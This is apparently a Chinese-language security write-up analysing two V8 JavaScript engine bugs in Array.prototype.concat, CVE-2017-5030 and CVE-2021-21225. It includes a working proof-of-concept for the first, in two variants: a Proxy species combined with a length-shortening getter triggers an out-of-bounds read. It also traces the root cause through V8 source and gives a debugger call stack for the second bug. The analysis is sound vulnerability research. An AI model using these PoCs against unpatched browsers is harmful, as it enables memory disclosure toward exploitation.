CVE-2017-5030与CVE-2021-21225漏洞分析:Array Concat的越界读

 

CVE-2017-5030

PoC

  // ../../v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc poc.js
  var p = new Proxy([], {});
  var b_dp = Object.prototype.defineProperty;

  class MyArray extends Array {
      static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
  }

  var w = new MyArray(100);
  w[1] = 0.1;
  w[2] = 0.1;

  function evil_callback() {
      w.length = 1; // shorten the array so the backstore pointer is relocated
      gc();         // force gc to move the array's elements backstore
      return b_dp;
  }

  Object.prototype.__defineGetter__("defineProperty", evil_callback);

  var c = Array.prototype.concat.call(w);

  for (var i = 0; i < 20; i++) { // however many values you want to leak
      print(c[i]);
  }

Root Cause

v8使用一种名为CodeStubAssembler的非常类似于汇编语言,同时保持平台无关性并保持可读性的语言来实现其js builtin函数。

BUILTIN(ArrayConcat) {
    ...
    Handle<Object> species;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
    if (*species == *isolate->array_function()) {
        if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {
        return *result_array;
        }
        if (isolate->has_pending_exception()) return isolate->heap()->exception();
    }
    return Slow_ArrayConcat(&args, species, isolate);
}
...

这里ASSIGN_RETURN_ON_EXCEPTION_VALUE宏其实就是(call).ToHandle(&dst),

#define ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, value)  \
  do {                                                               \
    if (!(call).ToHandle(&dst)) {                                    \
      DCHECK((isolate)->has_pending_exception());                    \
      return value;                                                  \
    }                                                                \
  } while (false)

#define ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, dst, call)          \
  do {                                                                  \
    Isolate* __isolate__ = (isolate);                                   \
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(__isolate__, dst, call,            \
                                     __isolate__->heap()->exception()); \
  } while (false)

也就是说这里首先调用ArraySpeciesConstructor,它将先从reciver中取出constructor属性,然后取出该属性的Symbol.species属性。

然后将结果通过ToHandle将结果保存到dst里,这里可以将Handle粗略理解成一种智能指针,这层封装完全是为了GC时对对象的标记。

MaybeHandle<Object> Object::ArraySpeciesConstructor(
    Isolate* isolate, Handle<Object> original_array) {
  Handle<Object> default_species = isolate->array_function();
  if (original_array->IsJSArray() &&
      Handle<JSArray>::cast(original_array)->HasArrayPrototype(isolate) &&
      isolate->IsArraySpeciesLookupChainIntact()) {
    return default_species;
  }
  Handle<Object> constructor = isolate->factory()->undefined_value();
  Maybe<bool> is_array = Object::IsArray(original_array);
  MAYBE_RETURN_NULL(is_array);
  if (is_array.FromJust()) {
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, constructor,
        Object::GetProperty(original_array,
                            isolate->factory()->constructor_string()),
        Object);
    if (constructor->IsConstructor()) {
      Handle<Context> constructor_context;
      ASSIGN_RETURN_ON_EXCEPTION(
          isolate, constructor_context,
          JSReceiver::GetFunctionRealm(Handle<JSReceiver>::cast(constructor)),
          Object);
      if (*constructor_context != *isolate->native_context() &&
          *constructor == constructor_context->array_function()) {
        constructor = isolate->factory()->undefined_value();
      }
    }
    if (constructor->IsJSReceiver()) {
      ASSIGN_RETURN_ON_EXCEPTION(
          isolate, constructor,
          JSReceiver::GetProperty(Handle<JSReceiver>::cast(constructor),
                                  isolate->factory()->species_symbol()),
          Object);
      if (constructor->IsNull(isolate)) {
        constructor = isolate->factory()->undefined_value();
      }
    }
  }
  if (constructor->IsUndefined(isolate)) {
    return default_species;
  } else {
    if (!constructor->IsConstructor()) {
      THROW_NEW_ERROR(isolate,
          NewTypeError(MessageTemplate::kSpeciesNotConstructor),
          Object);
    }
    return constructor;
  }
}

举个例子,对于一般的array对象,它的constructor是Array构造函数

w = new Array();
print(w.constructor);
print(w.constructor[Symbol.species]);

->

➜  ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
function Array() { [native code] }
function Array() { [native code] }

但若是自定义的class就是这样

class MyArray extends Array {
}
var w = new MyArray(100);
print(w.constructor);
print(w.constructor[Symbol.species]);

->

➜  ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
class MyArray extends Array {
}
class MyArray extends Array {
}

注意更有趣的是我们可以在自定义class上定义Symbol.species属性来让w.constructor[Symbol.species]w.constructor的结果不同,而最后通过ArraySpeciesConstructor取到的将是这个自定义的species属性里保存的函数。

var p = new Proxy([], {});

class MyArray extends Array {
    static get [Symbol.species]() { return function() { return p; }};
}
var w = new MyArray(100);
print(w.constructor);
print(w.constructor[Symbol.species]);

->

➜  ia32.debug git:(1ae9314d1b) ./d8 --allow-natives-syntax --expose-gc poc.js
class MyArray extends Array {
    static get [Symbol.species]() { return function() { return p; }};
}
function () { return p; }

随后只要species的结果不是Array的构造函数,就会进入slow path。

在SlowPath中,只要species不是Array的构造函数,则is_array_species为false。由于is_array_species为false,因此fast_case也为false。最终进入else分支。

    Object* Slow_ArrayConcat(...) {
      ...
      if (fast_case) {
        ...
      } else if (is_array_species) {
        ...
      } else {
        DCHECK(species->IsConstructor());
        Handle<Object> length(Smi::kZero, isolate);
        Handle<Object> storage_object;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, storage_object,
            Execution::New(isolate, species, species, 1, &length)); //<----- Our species function is executed, giving us control of the storage object (L#1242)
        storage = storage_object;
      }
      ...
    }

在else分支里,首先调用之前得到的speices函数,构造出一个新对象,将其地址保存在storage_object指针中。

在Slow path中,会声明一个ArrayConcatVisitor,并对每个args调用一次IterateElements函数,以遍历每个arg上的具体数组元素。

这其实很好理解,因为concat的用法是w1.concat(w2,w3,...),其结果是将w1和w2,w3三个数组的元素相连构造出一个新数组返回,所以势必要遍历每个array。

所以这里args就是w1.concat(w2,w3,...)里的这个w1,w2,w3。

  ArrayConcatVisitor visitor(isolate, storage, fast_case);// <----- visitor now holds a reference to our storage object (L#1246)

  for (int i = 0; i < argument_count; i++) {
    Handle<Object> obj((*args)[i], isolate);
    Maybe<bool> spreadable = IsConcatSpreadable(isolate, obj);
    MAYBE_RETURN(spreadable, isolate->heap()->exception());
    if (spreadable.FromJust()) {
      Handle<JSReceiver> object = Handle<JSReceiver>::cast(obj);
      if (!IterateElements(isolate, object, &visitor)) {//  <----- IterateElements is called using our visitor (L#1254)
        return isolate->heap()->exception();
      }
    } else {
      if (!visitor.visit(0, obj)) return isolate->heap()->exception();
      visitor.increase_index_offset(1);
    }
  }

遍历时,进入IterateElements的fast path。

在 fast path中,对array的每个元素调用visit函数,需要注意的是在IterateElements遍历数组元素的时候,它是先缓存了array的长度到fast_length里的。

所以只要能在下面循环内将array的长度改小,则由于fast length使用的是修改之前的原长度,就会越界读写

bool IterateElements(...) {
    ...
    ...

    case FAST_HOLEY_DOUBLE_ELEMENTS:
    case FAST_DOUBLE_ELEMENTS: {
    // Empty array is FixedArray but not FixedDoubleArray.
    if (length == 0) break;
    // Run through the elements FixedArray and use HasElement and GetElement
    // to check the prototype for missing elements.
    if (array->elements()->IsFixedArray()) {
        DCHECK(array->elements()->length() == 0);
        break;
    }
    Handle<FixedDoubleArray> elements(
        FixedDoubleArray::cast(array->elements()));
    int fast_length = static_cast<int>(length);
    DCHECK(fast_length <= elements->length());
    // 注意这里保存了 fast_length
    FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        if (!elements->is_the_hole(j)) {
        double double_value = elements->get_scalar(j);              <-----
        Handle<Object> element_value =
            isolate->factory()->NewNumber(double_value);
        if (!visitor->visit(j, element_value)) return false;        <----- visitor->visit is called (L#1008)
        } else {
        Maybe<bool> maybe = JSReceiver::HasElement(array, j);
        if (!maybe.IsJust()) return false;
        if (maybe.FromJust()) {
            // Call GetElement on array, not its prototype, or getters won't
            // have the correct receiver.
            Handle<Object> element_value;
            ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                isolate, element_value,
                JSReceiver::GetElement(isolate, array, j), false);
            if (!visitor->visit(j, element_value)) return false;     <----- visitor->visit is called (L#1019)
        }
        }
    });
    break;
    }
}

visit函数内部是这样的,它先通过storage,也就是指向我们之前调用speices构造函数构造出来的对象的指针,来构造出一个LookupIterator对象it。

然后在该函数内部又继续调用CreateDataProperty函数。

MUST_USE_RESULT bool visit(uint32_t i, Handle<Object> elm) {
    uint32_t index = index_offset_ + i;

    ...

    if (!is_fixed_array()) {
        LookupIterator it(isolate_, storage_, index, LookupIterator::OWN);
        MAYBE_RETURN(
            JSReceiver::CreateDataProperty(&it, elm, Object::THROW_ON_ERROR),
            false);
        return true;
    }
    ... 
    }

在该函数中,先通过it->GetReceiver来取出storage,然后有个针对IsJSObject的判断。通过定义Symbol.species属性来构造出一个JSProxy对象,因此绕过该条件判断,进入下面的DefineOwnProperty。

// static
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
                                            Handle<Object> value,
                                            ShouldThrow should_throw) {
    DCHECK(!it->check_prototype_chain());
    Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
    Isolate* isolate = receiver->GetIsolate();

    if (receiver->IsJSObject()) {
        return JSObject::CreateDataProperty(it, value, should_throw);  // Shortcut.
    }

    PropertyDescriptor new_desc;
    new_desc.set_value(value);
    new_desc.set_writable(true);
    new_desc.set_enumerable(true);
    new_desc.set_configurable(true);

    return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(),
                                        &new_desc, should_throw);
}

这里继续调用JSProxy::DefineOwnProperty.

// static
Maybe<bool> JSReceiver::DefineOwnProperty(Isolate* isolate,
                                            Handle<JSReceiver> object,
                                            Handle<Object> key,
                                            PropertyDescriptor* desc,
                                            ShouldThrow should_throw) {
    if (object->IsJSArray()) {
    return JSArray::DefineOwnProperty(isolate, Handle<JSArray>::cast(object),
                                        key, desc, should_throw);
    }
    if (object->IsJSProxy()) {
    return JSProxy::DefineOwnProperty(isolate, Handle<JSProxy>::cast(object),
                                        key, desc, should_throw);
    }
    // TODO(jkummerow): Support Modules (ES6 9.4.6.6)

    // OrdinaryDefineOwnProperty, by virtue of calling
    // DefineOwnPropertyIgnoreAttributes, can handle arguments (ES6 9.4.4.2)
    // and IntegerIndexedExotics (ES6 9.4.5.3), with one exception:
    // TODO(jkummerow): Setting an indexed accessor on a typed array should throw.
    return OrdinaryDefineOwnProperty(isolate, Handle<JSObject>::cast(object), key,
                                    desc, should_throw);
}

JSProxy::DefineOwnProperty中,将从proxy对象上先取出它的handler,然后获取它的defineProperty属性,这将触发一个getter回调,从而改掉array的长度,造成越界读。

Maybe<bool> JSProxy::DefineOwnProperty(...) {
    STACK_CHECK(isolate, Nothing<bool>());
    if (key->IsSymbol() && Handle<Symbol>::cast(key)->IsPrivate()) {
    return SetPrivateProperty(isolate, proxy, Handle<Symbol>::cast(key), desc,
                                should_throw);
    }
    Handle<String> trap_name = isolate->factory()->defineProperty_string();     //<----- "defineProperty" string (L#6855)

    ...
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(
        isolate, trap,
        Object::GetMethod(Handle<JSReceiver>::cast(handler), trap_name),// <---- GetMethod calls GetProperty which triggers getters (L#6873)
        Nothing<bool>());
}
// static
MaybeHandle<Object> Object::GetMethod(Handle<JSReceiver> receiver,
                                      Handle<Name> name) {
  Handle<Object> func;
  Isolate* isolate = receiver->GetIsolate();
  ASSIGN_RETURN_ON_EXCEPTION(isolate, func,
                             JSReceiver::GetProperty(receiver, name), Object);
  if (func->IsNull(isolate) || func->IsUndefined(isolate)) {
    return isolate->factory()->undefined_value();
  }
  if (!func->IsCallable()) {
    THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kPropertyNotFunction,
                                          func, name, receiver),
                    Object);
  }
  return func;
}

所以其实最后poc也可以改成这样。

var p1 = {}
var p = new Proxy([], p1);
var b_dp = p.defineProperty;

class MyArray extends Array {
    static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
}

var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;

function evil_callback() {
    w.length = 1; // shorten the array so the backstore pointer is relocated
    gc();         // force gc to move the array's elements backstore
    return b_dp;
}

p1.__defineGetter__("defineProperty", evil_callback);

var c = w.concat();

for (var i = 0; i < 20; i++) { // however many values you want to leak
    print(c[i]);
}

 

CVE-2021-21225

CVE-2021-21225的PoC尚未公开,我构造出了这个漏洞的poc,并在这里其造成回调的调用栈。

事实上这个漏洞利用了typedarray的valueof trick,从而在CreateDataProperty的shotcut路径里触发了回调,提示到这里,聪明的读者应该可以自己构造出来了。

这个漏洞的引入来自2021年的一个补丁修改了typedArray的一些feature。

// static
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
                                            Handle<Object> value,
                                            ShouldThrow should_throw) {
    DCHECK(!it->check_prototype_chain());
    Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
    Isolate* isolate = receiver->GetIsolate();

    if (receiver->IsJSObject()) {
        return JSObject::CreateDataProperty(it, value, should_throw);  // Shortcut.
    }

    PropertyDescriptor new_desc;
    new_desc.set_value(value);
    new_desc.set_writable(true);
    new_desc.set_enumerable(true);
    new_desc.set_configurable(true);

    return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(),
                                        &new_desc, should_throw);
}
callback
->
#6  0x00007ffff63ace31 in v8::internal::JSReceiver::GetProperty(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::Name>) () at ../../src/objects/js-objects-inl.h:56
#7  0x00007ffff6dc8ee8 in v8::internal::Object::GetMethod(v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::Name>) () at ../../src/objects/objects.cc:966
#8  0x00007ffff6d2d4dd in v8::internal::JSReceiver::ToPrimitive(v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::ToPrimitiveHint) () at ../../src/objects/js-objects.cc:1855
#9  0x00007ffff6dc3a6b in v8::internal::Object::ConvertToNumberOrNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::Conversion) () at ../../src/objects/objects.cc:310
warning: Could not find DWO CU obj/v8_base_without_compiler/api.dwo(0x7e262483d2924ef) referenced by CU at offset 0xec [in module /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so]
#10 0x00007ffff641e22c in v8::internal::Object::ToNumber(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>) () at ../../src/objects/objects-inl.h:570
#11 0x00007ffff6dd7000 in v8::internal::Object::SetDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>) () at ../../src/objects/objects.cc:2772
#12 0x00007ffff6d2b2f8 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::Maybe<v8::internal::ShouldThrow>, v8::internal::JSObject::AccessorInfoHandling) () at ../../src/objects/js-objects.cc:3380
#13 0x00007ffff6d2aa58 in v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::JSObject::AccessorInfoHandling) () at ../../src/objects/js-objects.cc:3309
#14 0x00007ffff6d2348d in v8::internal::JSObject::CreateDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>) () at ../../src/objects/js-objects.cc:3781
#15 0x00007ffff6d2b659 in v8::internal::JSReceiver::CreateDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>) () at ../../src/objects/js-objects.cc:1564
warning: Could not find DWO CU obj/v8_base_without_compiler/builtins-array.dwo(0x9e399020eeed1d00) referenced by CU at offset 0x3f8 [in module /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so]
#16 0x00007ffff652bb7e in v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit(unsigned int, v8::internal::Handle<v8::internal::Object>) () at ../../src/builtins/builtins-array.cc:675
#17 0x00007ffff652ab68 in v8::internal::(anonymous namespace)::IterateElements(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::(anonymous namespace)::ArrayConcatVisitor*) () at ../../src/builtins/builtins-array.cc:1090
#18 0x00007ffff6529446 in v8::internal::(anonymous namespace)::Slow_ArrayConcat(v8::internal::BuiltinArguments*, v8::internal::Handle<v8::internal::Object>, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1387
#19 0x00007ffff6525455 in v8::internal::Builtin_Impl_ArrayConcat(v8::internal::BuiltinArguments, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1505
#20 0x00007ffff6524d2e in v8::internal::Builtin_ArrayConcat(int, unsigned long*, v8::internal::Isolate*) () at ../../src/builtins/builtins-array.cc:1472
#21 0x00007ffff5f2e9a0 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so
#22 0x00007ffff5cd8779 in Builtins_InterpreterEntryTrampoline () from /home/sakura/v8_8.9.255.25/v8/out/x64.debug/libv8.so
(完)